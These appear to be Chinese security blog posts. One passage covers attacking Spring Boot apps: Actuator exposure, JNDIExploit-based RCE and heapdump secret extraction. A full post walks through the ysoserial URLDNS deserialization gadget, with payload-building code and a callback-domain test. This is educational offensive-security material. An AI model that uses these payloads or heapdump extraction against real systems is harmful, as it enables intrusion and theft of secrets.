<p><a href="https://github.com/AabyssZG/SpringBoot-Scan" target="_blank" rel="noopener nofollow noreferrer" >https://github.com/AabyssZG/SpringBoot-Scan</a>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_17.png" alt="" /></figure>
</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_18.png" alt="" /></figure>
</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_19.png" alt="" /></figure>
</p>
<h3 id="利用类漏洞来进行rce攻击">利用类漏洞来进行RCE攻击</h3>
<p>服务器上执行JNDIExploit工具(可以本地、也可以远程VPS上运行)
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_20.png" alt="" /></figure>
</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_21.png" alt="" /></figure>
</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_22.png" alt="" /></figure>
</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_23.png" alt="" /></figure>
</p>
<h1 id="cms源码审计">CMS源码审计</h1>
<h2 id="安装源码">安装源码</h2>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_24.png" alt="" /></figure>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_25.png" alt="" /></figure>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_26.png" alt="" /></figure>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_27.png" alt="" /></figure>
</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_28.png" alt="" /></figure>
</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_29.png" alt="" /></figure>
<p>起始就是把actuator的接口做了可视化</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_30.png" alt="" /></figure>
</p>
<h2 id="源码审计">源码审计</h2>
<p>从pom.xml看有没有调用Actuator库
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_31.png" alt="" /></figure>
</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-xml" data-lang="xml"><span style="display:flex;"><span>配置文件中Actuator设置是否为*(全部暴露)
</span></span><span style="display:flex;"><span>management.endpoints.web.exposure.include=*
</span></span></code></pre></div><p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_32.png" alt="|700" /><figcaption>|700</figcaption></figure>
</p>
<p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_33.png" alt="|700" /><figcaption>|700</figcaption></figure>
</p>
<p>泄露安全(heapdump)
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_34.png" alt="" /></figure>
<p>使用heapdump敏感信息查询工具提取敏感信息
JDumpSpider</p>
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-springboot%e6%a1%86%e6%9e%b6%e5%88%a9%e7%94%a8_image_35.png" alt="|750" /><figcaption>|750</figcaption></figure>
</p>
<h1 id="一句话总结">一句话总结</h1>
<p>遇到springboot框架从两个方面去寻找安全问题：
1.泄露安全(是否泄露了内部路由及heapdump)
2.漏洞安全(利用相关框架漏洞检测工具测试是否存在漏洞)</p>
<h1 id="参考">参考</h1>
<p><a href="https://blog.csdn.net/m0_60571842/article/details/135096224" target="_blank" rel="noopener nofollow noreferrer" >WEB攻防-Java安全&amp;原生反序列化&amp;SpringBoot攻防&amp;heapdump提取&amp;CVE_java spring反序列化-CSDN博客</a></p>
]]></content>
            
                 
                    
                 
                    
                         
                        
                            
                             
                                <category scheme="https://l1uyun.one/tags/sec" term="sec" label="sec" />
                            
                        
                    
                
            
        </entry>
    
        
        <entry>
            <title type="html"><![CDATA[javasec-urldns链]]></title><link href="https://l1uyun.one/posts/javasec-urldns%E9%93%BE/" rel="alternate" type="text/html" />
            <id>https://l1uyun.one/posts/javasec-urldns%E9%93%BE/</id>
            
            <published>2024-08-03T15:51:23+08:00</published>
            <updated>2025-09-29T20:53:14+08:00</updated>
            
            
            <content type="html"><![CDATA[<h1 id="urldns链">urldns链</h1>
<p>URLDNS 是ysoserial中⼀个利⽤链的名字，但准确来说，这个其实不能称作“利⽤链”。因为其参数不是⼀个可以“利⽤”的命令，⽽仅为⼀个URL，其能触发的结果也不是命令执⾏，⽽是⼀次DNS请求。</p>
<p>虽然这个“利⽤链”实际上是不能“利⽤”的，但因为其如下的优点，⾮常适合我们在检测反序列化漏洞时使⽤</p>
<ul>
<li>使⽤Java内置的类构造，对第三⽅库没有依赖,因此对java版本没有限制</li>
<li>在⽬标没有回显的时候，能够通过DNS请求得知是否存在反序列化漏洞</li>
</ul>
<h2 id="前置知识">前置知识</h2>
<h3 id="gadget">gadget</h3>
<p>Java反序列化漏洞产生漏洞的形式大致有两种,</p>
<ul>
<li>一种是上下文入口类的readObject方法中直接包含了危险操作(危险函数)且传入危险函数的参数可控(这种情况很少)</li>
<li>还有一种情况就是入口类的readObject方法中间接调用了其它类(B类),在B类中又调用了恶意的方法或调用了其它包含恶意方法的类,这种链式触发命令执行的结构被称为反序列化利用链,组成这种链式结构中的&quot;成员类&quot;被称为Gadget而这种链式结构被称为Gadget Chain,通过构造Gadget Chain可以进行反序列化攻击。</li>
</ul>
<h2 id="漏洞分析">漏洞分析</h2>
<p>ysoserial里是这样生成payload的</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#66d9ef">public</span> Object <span style="color:#a6e22e">getObject</span>(<span style="color:#66d9ef">final</span> String url) <span style="color:#66d9ef">throws</span> Exception {
</span></span><span style="display:flex;"><span>             <span style="color:#75715e">//Avoid DNS resolution during payload creation</span>
</span></span><span style="display:flex;"><span>             <span style="color:#75715e">//Since the field &lt;code&gt;java.net.URL.handler&lt;/code&gt; is transient, it will not be part of the serialized payload.</span>
</span></span><span style="display:flex;"><span>             URLStreamHandler handler <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> SilentURLStreamHandler();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>             HashMap ht <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> HashMap(); <span style="color:#75715e">// HashMap that will contain the URL</span>
</span></span><span style="display:flex;"><span>             URL u <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> URL(<span style="color:#66d9ef">null</span>, url, handler); <span style="color:#75715e">// URL to use as the Key</span>
</span></span><span style="display:flex;"><span>             ht.<span style="color:#a6e22e">put</span>(u, url); <span style="color:#75715e">//The value can be anything that is Serializable, URL as the key is what triggers the DNS lookup.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>             Reflections.<span style="color:#a6e22e">setFieldValue</span>(u, <span style="color:#e6db74">&#34;hashCode&#34;</span>, <span style="color:#f92672">-</span>1); <span style="color:#75715e">// During the put above, the URL&#39;s hashCode is calculated and cached. This resets that so the next time hashCode is called a DNS lookup will be triggered.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>             <span style="color:#66d9ef">return</span> ht;
</span></span><span style="display:flex;"><span>     }
</span></span><span style="display:flex;"><span>     
</span></span><span style="display:flex;"><span>     <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">SilentURLStreamHandler</span> <span style="color:#66d9ef">extends</span> URLStreamHandler {
</span></span><span style="display:flex;"><span>     <span style="color:#66d9ef">protected</span> URLConnection <span style="color:#a6e22e">openConnection</span>(URL u) <span style="color:#66d9ef">throws</span> IOException {
</span></span><span style="display:flex;"><span>         <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">null</span>;
</span></span><span style="display:flex;"><span>     }
</span></span><span style="display:flex;"><span>     <span style="color:#66d9ef">protected</span> <span style="color:#66d9ef">synchronized</span> InetAddress <span style="color:#a6e22e">getHostAddress</span>(URL u) {
</span></span><span style="display:flex;"><span>         <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">null</span>;
</span></span><span style="display:flex;"><span>     }
</span></span><span style="display:flex;"><span> }
</span></span></code></pre></div><p>利用链</p>
<pre tabindex="0"><code>Gadget Chain:
  HashMap.readObject()
    HashMap.putVal()
      HashMap.hash()
        URL.hashCode()
</code></pre><p>urldns是yso中较为简单的一个gadget，所以这里可以直接通过正向分析的方式进行分析</p>
<p>看到 URLDNS 类的 getObject ⽅法，ysoserial会调⽤这个⽅法获得Payload。这个⽅法返回的是⼀个对象，这个对象就是最后将被序列化的对象，在这⾥是 HashMap。因为触发反序列化的⽅法是 readObject,那么可以直奔 HashMap 类的 readObject ⽅法：</p>
<p>HashMap#readObject</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#66d9ef">private</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">readObject</span>(java.<span style="color:#a6e22e">io</span>.<span style="color:#a6e22e">ObjectInputStream</span> s)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">throws</span> IOException, ClassNotFoundException {
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Read in the threshold (ignored), loadfactor, and any hidden stuff</span>
</span></span><span style="display:flex;"><span>        s.<span style="color:#a6e22e">defaultReadObject</span>();
</span></span><span style="display:flex;"><span>        reinitialize();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (loadFactor <span style="color:#f92672">&lt;=</span> 0 <span style="color:#f92672">||</span> Float.<span style="color:#a6e22e">isNaN</span>(loadFactor))
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">throw</span> <span style="color:#66d9ef">new</span> InvalidObjectException(<span style="color:#e6db74">&#34;Illegal load factor: &#34;</span> <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span>                                             loadFactor);
</span></span><span style="display:flex;"><span>        s.<span style="color:#a6e22e">readInt</span>();                <span style="color:#75715e">// Read and ignore number of buckets</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> mappings <span style="color:#f92672">=</span> s.<span style="color:#a6e22e">readInt</span>(); <span style="color:#75715e">// Read number of mappings (size)</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (mappings <span style="color:#f92672">&lt;</span> 0)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">throw</span> <span style="color:#66d9ef">new</span> InvalidObjectException(<span style="color:#e6db74">&#34;Illegal mappings count: &#34;</span> <span style="color:#f92672">+</span>
</span></span><span style="display:flex;"><span>                                             mappings);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">else</span> <span style="color:#66d9ef">if</span> (mappings <span style="color:#f92672">&gt;</span> 0) { <span style="color:#75715e">// (if zero, use defaults)</span>
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">// Size the table using given load factor only if within</span>
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">// range of 0.25...4.0</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">float</span> lf <span style="color:#f92672">=</span> Math.<span style="color:#a6e22e">min</span>(Math.<span style="color:#a6e22e">max</span>(0.<span style="color:#a6e22e">25f</span>, loadFactor), 4.<span style="color:#a6e22e">0f</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">float</span> fc <span style="color:#f92672">=</span> (<span style="color:#66d9ef">float</span>)mappings <span style="color:#f92672">/</span> lf <span style="color:#f92672">+</span> 1.<span style="color:#a6e22e">0f</span>;
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">int</span> cap <span style="color:#f92672">=</span> ((fc <span style="color:#f92672">&lt;</span> DEFAULT_INITIAL_CAPACITY) <span style="color:#f92672">?</span>
</span></span><span style="display:flex;"><span>                       DEFAULT_INITIAL_CAPACITY :
</span></span><span style="display:flex;"><span>                       (fc <span style="color:#f92672">&gt;=</span> MAXIMUM_CAPACITY) <span style="color:#f92672">?</span>
</span></span><span style="display:flex;"><span>                       MAXIMUM_CAPACITY :
</span></span><span style="display:flex;"><span>                       tableSizeFor((<span style="color:#66d9ef">int</span>)fc));
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">float</span> ft <span style="color:#f92672">=</span> (<span style="color:#66d9ef">float</span>)cap <span style="color:#f92672">*</span> lf;
</span></span><span style="display:flex;"><span>            threshold <span style="color:#f92672">=</span> ((cap <span style="color:#f92672">&lt;</span> MAXIMUM_CAPACITY <span style="color:#f92672">&amp;&amp;</span> ft <span style="color:#f92672">&lt;</span> MAXIMUM_CAPACITY) <span style="color:#f92672">?</span>
</span></span><span style="display:flex;"><span>                         (<span style="color:#66d9ef">int</span>)ft : Integer.<span style="color:#a6e22e">MAX_VALUE</span>);
</span></span><span style="display:flex;"><span>            <span style="color:#a6e22e">@SuppressWarnings</span>({<span style="color:#e6db74">&#34;rawtypes&#34;</span>,<span style="color:#e6db74">&#34;unchecked&#34;</span>})
</span></span><span style="display:flex;"><span>                Node<span style="color:#f92672">&lt;</span>K,V<span style="color:#f92672">&gt;[]</span> tab <span style="color:#f92672">=</span> (Node<span style="color:#f92672">&lt;</span>K,V<span style="color:#f92672">&gt;[]</span>)<span style="color:#66d9ef">new</span> Node<span style="color:#f92672">[</span>cap<span style="color:#f92672">]</span>;
</span></span><span style="display:flex;"><span>            table <span style="color:#f92672">=</span> tab;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>            <span style="color:#75715e">// Read the keys and values, and put the mappings in the HashMap</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> 0; i <span style="color:#f92672">&lt;</span> mappings; i<span style="color:#f92672">++</span>) {
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">@SuppressWarnings</span>(<span style="color:#e6db74">&#34;unchecked&#34;</span>)
</span></span><span style="display:flex;"><span>                    K key <span style="color:#f92672">=</span> (K) s.<span style="color:#a6e22e">readObject</span>();
</span></span><span style="display:flex;"><span>                <span style="color:#a6e22e">@SuppressWarnings</span>(<span style="color:#e6db74">&#34;unchecked&#34;</span>)
</span></span><span style="display:flex;"><span>                    V value <span style="color:#f92672">=</span> (V) s.<span style="color:#a6e22e">readObject</span>();
</span></span><span style="display:flex;"><span>                putVal(hash(key), key, value, <span style="color:#66d9ef">false</span>, <span style="color:#66d9ef">false</span>);
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span></code></pre></div><p>putVal这一段，这里调用了hash方法来处理key，跟进hash方法：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#66d9ef">static</span> <span style="color:#66d9ef">final</span> <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">hash</span>(Object key) {
</span></span><span style="display:flex;"><span>       <span style="color:#66d9ef">int</span> h;
</span></span><span style="display:flex;"><span>       <span style="color:#66d9ef">return</span> (key <span style="color:#f92672">==</span> <span style="color:#66d9ef">null</span>) <span style="color:#f92672">?</span> 0 : (h <span style="color:#f92672">=</span> key.<span style="color:#a6e22e">hashCode</span>()) <span style="color:#f92672">^</span> (h <span style="color:#f92672">&gt;&gt;&gt;</span> 16);
</span></span><span style="display:flex;"><span>   }
</span></span></code></pre></div><p>这里又调用了key.hashCode方法,这里的key是一个URL对象,让我们看看URL的hashCode方法：</p>
<p>URL#hashCode：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">synchronized</span> <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">hashCode</span>() {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (hashCode <span style="color:#f92672">!=</span> <span style="color:#f92672">-</span>1)
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> hashCode;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        hashCode <span style="color:#f92672">=</span> handler.<span style="color:#a6e22e">hashCode</span>(<span style="color:#66d9ef">this</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> hashCode;
</span></span><span style="display:flex;"><span>    }
</span></span></code></pre></div><p>在URL类的hashCode方法中，又调用了URLStreamHandler#hashCode，并将自身传递进去：</p>
<p>URLStreamHandler#hashCode</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#66d9ef">protected</span> <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">hashCode</span>(URL u) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> h <span style="color:#f92672">=</span> 0;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Generate the protocol part.</span>
</span></span><span style="display:flex;"><span>        String protocol <span style="color:#f92672">=</span> u.<span style="color:#a6e22e">getProtocol</span>();
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (protocol <span style="color:#f92672">!=</span> <span style="color:#66d9ef">null</span>)
</span></span><span style="display:flex;"><span>            h <span style="color:#f92672">+=</span> protocol.<span style="color:#a6e22e">hashCode</span>();
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Generate the host part.</span>
</span></span><span style="display:flex;"><span>        InetAddress addr <span style="color:#f92672">=</span> getHostAddress(u);
</span></span></code></pre></div><p>getHostAddress，正是这步触发了dns请求：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#66d9ef">protected</span> <span style="color:#66d9ef">synchronized</span> InetAddress <span style="color:#a6e22e">getHostAddress</span>(URL u) {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (u.<span style="color:#a6e22e">hostAddress</span> <span style="color:#f92672">!=</span> <span style="color:#66d9ef">null</span>) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> u.<span style="color:#a6e22e">hostAddress</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    String host <span style="color:#f92672">=</span> u.<span style="color:#a6e22e">getHost</span>();
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> (host <span style="color:#f92672">==</span> <span style="color:#66d9ef">null</span> <span style="color:#f92672">||</span> host.<span style="color:#a6e22e">equals</span>(<span style="color:#e6db74">&#34;&#34;</span>)) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">null</span>;
</span></span><span style="display:flex;"><span>    } <span style="color:#66d9ef">else</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">try</span> {
</span></span><span style="display:flex;"><span>            u.<span style="color:#a6e22e">hostAddress</span> <span style="color:#f92672">=</span> InetAddress.<span style="color:#a6e22e">getByName</span>(host);
</span></span><span style="display:flex;"><span>        } <span style="color:#66d9ef">catch</span> (UnknownHostException ex) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">null</span>;
</span></span><span style="display:flex;"><span>        } <span style="color:#66d9ef">catch</span> (SecurityException se) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">return</span> <span style="color:#66d9ef">null</span>;
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> u.<span style="color:#a6e22e">hostAddress</span>;
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>这⾥ InetAddress.getByName(host) 的作⽤是根据主机名，获取其IP地址，在⽹络上其实就是⼀次 DNS查询。</p>
<p>可以理解为,在序列化 HashMap 类的对象时, 为了减小序列化后的大小, 并没有将整个哈希表保存进去, 而是仅仅保存了所有内部存储的 key 和 value. 所以在反序列化时, 需要重新计算所有 key 的 hash, 然后与 value 一起放入哈希表中. 而恰好, URL这个对象计算 hash 的过程中用了 getHostAddress 查询了 URL 的主机地址, 自然需要发出 DNS 请求.</p>
<p>这里存在一个问题,当我们生成payload的时候,也会存在计算哈希的过程,我们需要避免这个操作,</p>
<p>回到第一步：HashMap#readObject</p>
<p>key是使用readObject取出来的，也就是说在writeObject一定会写入key</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#66d9ef">private</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">writeObject</span>(java.<span style="color:#a6e22e">io</span>.<span style="color:#a6e22e">ObjectOutputStream</span> s)
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">throws</span> IOException {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">int</span> buckets <span style="color:#f92672">=</span> capacity();
</span></span><span style="display:flex;"><span>        <span style="color:#75715e">// Write out the threshold, loadfactor, and any hidden stuff</span>
</span></span><span style="display:flex;"><span>        s.<span style="color:#a6e22e">defaultWriteObject</span>();
</span></span><span style="display:flex;"><span>        s.<span style="color:#a6e22e">writeInt</span>(buckets);
</span></span><span style="display:flex;"><span>        s.<span style="color:#a6e22e">writeInt</span>(size);
</span></span><span style="display:flex;"><span>        internalWriteEntries(s);
</span></span><span style="display:flex;"><span>    }
</span></span></code></pre></div><p>跟入internalWriteEntries</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">internalWriteEntries</span>(java.<span style="color:#a6e22e">io</span>.<span style="color:#a6e22e">ObjectOutputStream</span> s) <span style="color:#66d9ef">throws</span> IOException {
</span></span><span style="display:flex;"><span>        Node<span style="color:#f92672">&lt;</span>K,V<span style="color:#f92672">&gt;[]</span> tab;
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> (size <span style="color:#f92672">&gt;</span> 0 <span style="color:#f92672">&amp;&amp;</span> (tab <span style="color:#f92672">=</span> table) <span style="color:#f92672">!=</span> <span style="color:#66d9ef">null</span>) {
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">for</span> (<span style="color:#66d9ef">int</span> i <span style="color:#f92672">=</span> 0; i <span style="color:#f92672">&lt;</span> tab.<span style="color:#a6e22e">length</span>; <span style="color:#f92672">++</span>i) {
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">for</span> (Node<span style="color:#f92672">&lt;</span>K,V<span style="color:#f92672">&gt;</span> e <span style="color:#f92672">=</span> tab<span style="color:#f92672">[</span>i<span style="color:#f92672">]</span>; e <span style="color:#f92672">!=</span> <span style="color:#66d9ef">null</span>; e <span style="color:#f92672">=</span> e.<span style="color:#a6e22e">next</span>) {
</span></span><span style="display:flex;"><span>                    s.<span style="color:#a6e22e">writeObject</span>(e.<span style="color:#a6e22e">key</span>);
</span></span><span style="display:flex;"><span>                    s.<span style="color:#a6e22e">writeObject</span>(e.<span style="color:#a6e22e">value</span>);
</span></span><span style="display:flex;"><span>                }
</span></span><span style="display:flex;"><span>            }
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    }
</span></span></code></pre></div><p>这里的key以及value是从tab中取的，而tab的值即HashMap中table的值。</p>
<p>此时我们如果想要修改table的值，就需要调用HashMap#put方法，而HashMap#put方法中也会对key调用一次hash方法，所以在这里就会产生第一次dns查询</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-java" data-lang="java"><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> V <span style="color:#a6e22e">put</span>(K key, V value) {
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> putVal(hash(key), key, value, <span style="color:#66d9ef">false</span>, <span style="color:#66d9ef">true</span>);
</span></span><span style="display:flex;"><span>    }
</span></span></code></pre></div><p>即</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#f92672">import</span> java.util.HashMap;
</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> java.net.URL;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">class</span> <span style="color:#a6e22e">Test</span> {
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">public</span> <span style="color:#66d9ef">static</span> <span style="color:#66d9ef">void</span> <span style="color:#a6e22e">main</span>(String<span style="color:#f92672">[]</span> args) <span style="color:#66d9ef">throws</span> Exception {
</span></span><span style="display:flex;"><span>        HashMap map <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> HashMap();
</span></span><span style="display:flex;"><span>        URL url <span style="color:#f92672">=</span> <span style="color:#66d9ef">new</span> URL(<span style="color:#e6db74">&#34;http://xrgsnqezso.yutu.eu.org&#34;</span>);
</span></span><span style="display:flex;"><span>        map.<span style="color:#a6e22e">put</span>(url,123); <span style="color:#75715e">//此时会产生dns查询</span>
</span></span><span style="display:flex;"><span>    }
</span></span></code></pre></div><p>只想判断payload在对方机器上是否成功触发，那就应该避免掉这一次dns查询以及多余的操作，回到URL#hashCode：</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#66d9ef">public</span> <span style="color:#66d9ef">synchronized</span> <span style="color:#66d9ef">int</span> <span style="color:#a6e22e">hashCode</span>() {
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">if</span> (hashCode <span style="color:#f92672">!=</span> <span style="color:#f92672">-</span>1)
</span></span><span style="display:flex;"><span>          <span style="color:#66d9ef">return</span> hashCode;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>      hashCode <span style="color:#f92672">=</span> handler.<span style="color:#a6e22e">hashCode</span>(<span style="color:#66d9ef">this</span>);
</span></span><span style="display:flex;"><span>      <span style="color:#66d9ef">return</span> hashCode;
</span></span><span style="display:flex;"><span>  }
</span></span></code></pre></div><p>这里会先判断hashCode是否为-1，如果不为-1则直接返回hashCode，也就是说我们只要在put前修改URL的hashCode为其他任意值，就可以在put时不触发dns查询。(hashCode默认值为-1)
<figure class="md-figure">
  <img loading="lazy" decoding="async" src="https://img.l1uyun.one/javasec-urldns%e9%93%be_image_1.png" alt="" /></figure>
<p>这里的hashCode是private修饰的，所以我们需要通过反射来修改其值</p></p>
